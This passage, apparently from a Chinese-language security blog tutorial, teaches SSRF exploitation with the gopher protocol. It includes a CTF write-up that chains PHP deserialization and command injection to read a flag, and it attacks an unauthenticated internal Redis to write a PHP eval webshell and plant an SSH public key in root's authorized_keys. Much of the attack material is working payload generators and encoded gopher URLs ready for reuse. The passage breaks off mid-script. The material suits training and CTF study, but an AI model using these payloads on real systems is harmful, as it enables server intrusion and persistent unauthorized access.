</blockquote>
<h5><a id="GopherHTTP_GET_3609"></a>利用Gopher协议发送HTTP GET请求</h5>
<pre data-index="199" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">// echo.php</span>
<span class="token operator"><</span><span class="token operator">?</span>php
<span class="token keyword">echo</span> <span class="token string double-quoted-string">"Hello "</span><span class="token operator">.</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"whoami"</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token string double-quoted-string">"\n"</span>
<span class="token operator">?</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre>
<p>构造payload。一个典型的GET型的HTTP包类似如下:</p>
<pre data-index="200" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">GET /echo.php?whoami=Bunny HTTP/1.1
Host: 47.xxx.xxx.107
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<p>然后利用以下脚本进行一步生成符合Gopher协议格式的payload:</p>
<pre data-index="201" class="set-code-show prettyprint"><code class="prism language-python has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token keyword">import</span> urllib<span class="token punctuation">.</span>parse
payload <span class="token operator">=</span>\
<span class="token triple-quoted-string string">"""GET /echo.php?whoami=Bunny HTTP/1.1
Host: 47.xxx.xxx.107
"""</span>
<span class="token comment"># 注意后面一定要有回车,回车结尾表示http请求结束</span>
tmp <span class="token operator">=</span> urllib<span class="token punctuation">.</span>parse<span class="token punctuation">.</span>quote<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>
new <span class="token operator">=</span> tmp<span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">'%0A'</span><span class="token punctuation">,</span><span class="token string">'%0D%0A'</span><span class="token punctuation">)</span>
result <span class="token operator">=</span> <span class="token string">'gopher://47.xxx.xxx.107:80/'</span><span class="token operator">+</span><span class="token string">'_'</span><span class="token operator">+</span>new
<span class="token keyword">print</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span> <span class="token comment"># gopher://47.11.11.107:80/_GET%20/echo.php%3Fwhoami%3DBunny%20HTTP/1.1%0D%0AHost%3A%2047.11.11.107%0D%0A</span>
<span class="token comment"># 问号(?)需要转码为URL编码,也就是%3f;回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a;在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li></ul></pre>
<p>然后执行:<code>curl gopher://47.xxx.xxx.107:80/_GET%20/echo.php%3Fwhoami%3DBunny%20HTTP/1.1%0D%0AHost%3A%2047.xxx.xxx.107%0D%0A</code>,返回得到 <code>Hello Bunny</code></p>
<h5><a id="GopherHTTP_POST_3643"></a>利用Gopher协议发送HTTP POST请求</h5>
<pre data-index="202" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">// echo.php</span>
<span class="token operator"><</span><span class="token operator">?</span>php
<span class="token keyword">echo</span> <span class="token string double-quoted-string">"Hello "</span><span class="token operator">.</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"whoami"</span><span class="token punctuation">]</span><span class="token operator">.</span><span class="token string double-quoted-string">"\n"</span>
<span class="token operator">?</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre>
<p>接下来我们构造payload。一个典型的POST型的HTTP包类似如下:</p>
<pre data-index="203" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">POST /echo.php HTTP/1.1
Host: 47.xxx.xxx.107
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
whoami=Bunny
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li></ul></pre>
<p><strong>注意:上面那四个HTTP头是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。并且,特别要注意Content-Length应为字符串“whoami=Bunny”的长度。</strong></p>
<p>最后用脚本我们将上面的POST数据包进行URL编码并改为gopher协议</p>
<pre data-index="204" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">import urllib.parse
payload =\
"""POST /echo.php HTTP/1.1
Host: 47.xxx.xxx.107
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
whoami=Bunny
"""
# 注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://47.xxx.xxx.107:80/'+'_'+new
print(result)
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li></ul></pre>
<p>执行 <code>curl gopher://47.xxx.xxx.107:80/_POST%20/echo.php%20HTTP/1.1%0D%0AHost%3A%2047.xxx.xxx.107%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2012%0D%0A%0D%0Awhoami%3DBunny%0D%0A</code>成功用POST方法传参并输出“Hello Bunny”。</p>
<p><strong>[2020 科来杯初赛]Web1</strong>这道题就是典型的运用Gopher发送HTTP POST请求进行SSRF攻击的思路。</p>
<h4><a name="t217"></a><a id="2020_Web1_3688"></a>[2020 科来杯初赛]Web1</h4>
<p>进入题目后即给处源码:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/4198830eb6fb9b2fda2a6c7e2a8e9cd0.png" alt="image-20200921134331679"></p>
<p>这里很明显就是一个SSRF,url过滤了<code>file</code>、<code>ftp</code>,但是必须要包含<code>127.0.0.1</code>。并且,我们还发现一个tool.php页面,但是该页面进去之后仅显示一个“Not localhost”,我们可以用这个ssrf将tool.php的源码读住来,构造反序列化payload:</p>
<pre data-index="205" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><?php
class Welcome {
protected $url = "http://127.0.0.1/tool.php";
}
$poc = new Welcome;
//echo serialize($poc);
echo urlencode(serialize($poc));
?>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li></ul></pre>
<p>生成:</p>
<pre data-index="206" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">O%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Ftool.php%22%3B%7D
// O:7:"Welcome":1:{s:6:"*url";s:25:"http://127.0.0.1/tool.php";}
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<p>将Welcome后面表示对象属性个数的“1”改为“2”即可绕过<code>__destruct()</code>的限制。</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/a0d84a27e5b13c0dd684d04d8148396a.png" alt="image-20200921134812338"></p>
<p>读出来tool.php的源码为:</p>
<pre data-index="207" class="set-code-hide prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">#tool.php
<?php
error_reporting(0);
$respect_show_ping = function($params) {
extract($params);
$ip = isset($ip) ? $ip :'127.0.0.1';
system('ping -c 1 '.$ip);
};
if ($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
echo '<h2>Not localhost!</h2>';
}
else {
highlight_file(__FILE__);
$respect_show_ping($_POST);
}
?>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li></ul></pre>
<p>可知tool.php页面存在命令执行漏洞。当REMOTE_ADDR为127.0.0.1时才可执行命令。REMOTE_ADDR头获取的是客户端的真实的IP,但是这个客户端是相对服务器而言的,也就是实际上与服务器相连的机器的IP(建立tcp连接的那个),这个值是不可以伪造的,如果没有代理的话,这个值就是用户实际的IP值,有代理的话,用户的请求会经过代理再到服务器,这个时候REMOTE_ADDR会被设置为代理机器的IP值。而X-Forwarded-For的值是可以篡改的。</p>
<p>既然这里要求当REMOTE_ADDR为127.0.0.1时才可执行命令,且REMOTE_ADDR的值是不可以伪造的,我们要想让REMOTE_ADDR的值为127.0.0.1,不可能通过修改X-Forwarded-For的值来实现,我们要利用SSRF。</p>
<p>我们可以利用index.php页面的SSRF利用gopher协议发POST包请求tool.php,进行命令执行。这样,整个攻击过程是在服务端进行的REMOTE_ADDR的值也就是127.0.0.1了。</p>
<p>SSRF,利用gopher发POST包,进行命令执行</p>
<pre data-index="208" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">import urllib.parse
test =\
"""POST /tool.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
ip=;cat /flag
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
print(result)
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li></ul></pre>
<p>这里因为我们是把payload发送到服务端让服务端执行,所以我们的Host和gopher里的Host为127.0.0.1。</p>
<p>生成gopher协议格式的payload为:</p>
<pre data-index="209" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">gopher://127.0.0.1:80/_POST%20/tool.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2013%0D%0A%0D%0Aip%3D%3Bcat%20/flag%0D%0A
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p>然后构造反序列化exp:</p>
<pre data-index="210" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><?php
class Welcome {
protected $url = "gopher://127.0.0.1:80/_POST%20/tool.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2013%0D%0A%0D%0Aip%3D%3Bcat%20/flag%0D%0A";
}
$poc = new Welcome;
//echo serialize($poc);
echo urlencode(serialize($poc));
?>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li></ul></pre>
<p>生成payload:</p>
<pre data-index="211" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">O%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A197%3A%22gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%2520%2Ftool.php%2520HTTP%2F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%2Fx-www-form-urlencoded%250D%250AContent-Length%253A%252013%250D%250A%250D%250Aip%253D%253Bcat%2520%2Fflag%250D%250A%22%3B%7D
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p>同样将Welcome后面表示对象属性个数的“1”改为“2”绕过<code>__destruct()</code>的限制后执行:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/cec051397035b8b06a99a2aae0ddd371.png" alt="image-20200921135622488"></p>
<p>如上图,命令执行成功。</p>
<p>**注意:**这里要注意的是,我们发送的是POST包,而如果发送的是GET包的话,当这个URL经过服务器时,payload部分会被自动url解码,%20等字符又会被转码为空格。所以,curl_exec在发起gopher时用的就是没有进行URL编码的值,就导致了现在的情况,所以我们要对payload进行二次URL编码。编码结果类似如下:</p>
<pre data-index="212" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">gopher%3a%2f%2f127.0.0.1%3a80%2f_POST%2520%2ftool.php%2520HTTP%2f1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%252013%250D%250A%250D%250Aip%253D%253Bcat%2520%2fflag%250D%250A
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h3><a name="t218"></a><a id="Redis_3806"></a>攻击内网Redis</h3>
<blockquote>
<p><strong>什么是Redis未授权访问?</strong></p>
<p>Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。</p>
<p>简单说,漏洞的产生条件有以下两点:</p>
<ul><li>redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。</li><li>没有设置密码认证(一般为空),可以免密码远程登录redis服务。</li></ul>
</blockquote>
<p>在SSRF漏洞中,如果通过端口扫描等方法发现目标主机上开放6379端口,则目标主机上很有可能存在Redis服务。此时,如果目标主机上的Redis由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用Gopher协议远程操纵目标主机上的Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等,其思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。</p>
<p>下面我们对攻击Redis的手法进行演示。测试环境如下,内网中其他主机均有外网IP并可以上网:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/8478efed0f5184885bea0f9940108fb2.png" alt="image-20210113190430425"></p>
<p>在上文扫描内网端口的实验中,我们发现了内网中有一个IP为192.168.52.131的主机在6379端口上运行着一个Redis服务,下面我们就用它来演示,通过Ubuntu服务器上的SSRF漏洞去攻击内网主机(192.168.52.131)的Redis。</p>
<h4><a name="t219"></a><a id="WebShell_3825"></a>绝对路径写WebShell</h4>
<p>首先构造redis命令:</p>
<pre data-index="213" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li></ul></pre>
<p>然后写一个脚本,将其转化为Gopher协议的格式(脚本时从网上嫖的,谁让我菜呢~~~大佬勿喷):</p>
<pre data-index="214" class="set-code-hide prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">import urllib
protocol="gopher://"
ip="192.168.52.131"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li><li style="color: rgb(153, 153, 153);">18</li><li style="color: rgb(153, 153, 153);">19</li><li style="color: rgb(153, 153, 153);">20</li><li style="color: rgb(153, 153, 153);">21</li><li style="color: rgb(153, 153, 153);">22</li><li style="color: rgb(153, 153, 153);">23</li><li style="color: rgb(153, 153, 153);">24</li><li style="color: rgb(153, 153, 153);">25</li><li style="color: rgb(153, 153, 153);">26</li><li style="color: rgb(153, 153, 153);">27</li><li style="color: rgb(153, 153, 153);">28</li><li style="color: rgb(153, 153, 153);">29</li><li style="color: rgb(153, 153, 153);">30</li><li style="color: rgb(153, 153, 153);">31</li></ul></pre>
<p>执行后生成paylaod如下:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/bbebfa5017237aa1b8e67ece9456061d.png" alt="image-20210113175116867"></p>
<p>这里将生成的payload要进行url二次编码(因为我们发送payload用的是GET方法),然后利用Ubuntu服务器上的SSRF漏洞,将二次编码后的payload打过去就行了:</p>
<pre data-index="215" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">ssrf.php?url=gopher%3A%2F%2F192.168.52.131%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p>如下所示,成功在主机192.168.52.131上面写入WebShell:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/805e06ca22959c36e82ef94b13ad4d69.png" alt="image-20210113185919592"></p>
<h4><a name="t220"></a><a id="SSH_3887"></a>写SSH公钥</h4>
<p>同样,我们也可以直接这个存在Redis未授权的主机的<sub>/.ssh目录下写入SSH公钥,直接实现免密登录,但前提是</sub>/.ssh目录存在,如果不存在我们可以写入计划任务来创建该目录。</p>
<p>构造redis命令:</p>
<pre data-index="216" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E/45IEs/9a6AWfXb6iwzo+D62y8MOmt+sct27ZxGOcRR95FT6zrfFxqt2h56oLwml/Trxy5sExSQ/cvvLwUTWb3ntJYyh2eGkQnOf2d+ax2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH/4xsFDCfambjmYzbx9O2fzl8F67jsTq8BVZxy5XvSsoHdCtr7vxqFUd/bWcrZ5F1pEQ8tnEBYsyfMK0NuMnxBdquNVSlyQ/NnHKyWtI/OzzyfvtAGO6vf3dFSJlxwZ0aC15GOwJhjTpTMKq9jrRdGdkIrxLKe+XqQnjxtk4giopiFfRu8winE9scqlIA5Iu/d3O454ZkYDMud7zRkSI17lP5rq3A1f5xZbTRUlxpa3Pcuolg/OOhoA3iKNhJ/JT31TU9E24dGh2Ei8K+PpT92dUnFDcmbEfBBQz7llHUUBxedy44Yl+SOsVHpNqwFcrgsq/WR5BGqnu54vTTdJh0pSrl+tniHEnWWU= root@whoami
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li></ul></pre>
<p>然后编写脚本,将其转化为Gopher协议的格式:</p>
<pre data-index="217" class="set-code-hide prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">import urllib
protocol="gopher://"
ip="192.168.52.131"
port="6379"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E/45IEs/9a6AWfXb6iwzo+D62y8MOmt+sct27ZxGOcRR95FT6zrfFxqt2h56oLwml/Trxy5sExSQ/cvvLwUTWb3ntJYyh2eGkQnOf2d+ax2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH/4xsFDCfambjmYzbx9O2fzl8F67jsTq8BVZxy5XvSsoHdCtr7vxqFUd/bWcrZ5F1pEQ8tnEBYsyfMK0NuMnxBdquNVSlyQ/NnHKyWtI/OzzyfvtAGO6vf3dFSJlxwZ0aC15GOwJhjTpTMKq9jrRdGdkIrxLKe+XqQnjxtk4giopiFfRu8winE9scqlIA5Iu/d3O454ZkYDMud7zRkSI17lP5rq3A1f5xZbTRUlxpa3Pcuolg/OOhoA3iKNhJ/JT31TU9E24dGh2Ei8K+PpT92dUnFDcmbEfBBQz7llHUUBxedy44Yl+SOsVHpNqwFcrgsq/WR5BGqnu54vTTdJh0pSrl+tniHEnWWU= root@whoami\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(ssh_pub.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li><li style="color: rgb(153, 153, 153);">18</li><li style="color: rgb(153, 153, 153);">19</li><li style="color: rgb(153, 153, 153);">20</li><li style="color: rgb(153, 153, 153);">21</li><li style="color: rgb(153, 153, 153);">22</li><li style="color: rgb(153, 153, 